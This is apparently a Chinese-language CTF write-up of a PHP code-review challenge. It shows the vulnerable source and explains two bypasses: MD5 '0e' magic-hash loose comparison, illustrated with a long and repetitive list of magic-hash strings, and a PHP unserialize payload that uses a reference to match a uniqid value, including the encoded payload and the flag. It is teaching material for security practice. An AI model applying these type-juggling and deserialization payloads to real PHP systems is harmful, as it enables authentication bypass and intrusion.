[CTF]反序列化 PHP代码审计

原题地址:https://buuoj.cn/challenges#BUU%20CODE%20REVIEW%201

题目源码:https://github.com/glzjin/buusec_2019_code_review_1

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}
解题步骤:


①整体阅读源码,发现是一个php反序列化的题目

②源码对比传入md5值,要求是传入字符串不相同,MD5值相同

#在 PHP 中,md5() 函数会返回一个 32 个字符长度的字符串,这个字符串是输入的 MD5 散列值。因此,当你在 PHP 中使用 == 运算符比较两个 MD5 散列值时,它们会被当作字符串进行比较。
#这里有一个重要的注意事项:在 PHP 中,== 运算符对于数字字符串和数字的比较会进行类型强制转换。例如,"0e123" == "0e456" 会返回 true,因为这两个字符串都被解析为数值 0。然而,对于两个 MD5 散列值的比较,这种情况通常不会发生,因为 MD5 散列值通常包含多种字符,不只是数字。


因此,可以利用这个特性,构造出md5值具有0e开头的字符串即可,下面是一些示例

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020


③进入下一步反序列化

看BUU class源码,只要让$correct和$input相等就能拿到flag了,但是$correct是uniqid()生成的,找一下手册

uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。

注释:由于基于系统时间,通过该函数生成的 ID 不是最佳的。如需生成绝对唯一的 ID,请使用 md5() 函数。
可以用&来引用,类似c语言中的指针,使$input指向$correct的地址,让他们永远相等。


本地构造序列化对象即可

$a = new BUU;
$a ->input = &$a->correct;

//O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3BN%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D
echo(urlencode(serialize($a)));
⑤构造payload即可拿到flag


flag:flag{75e3a864-6f30-4172-a572-d47cb0560ede}

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)

sitemap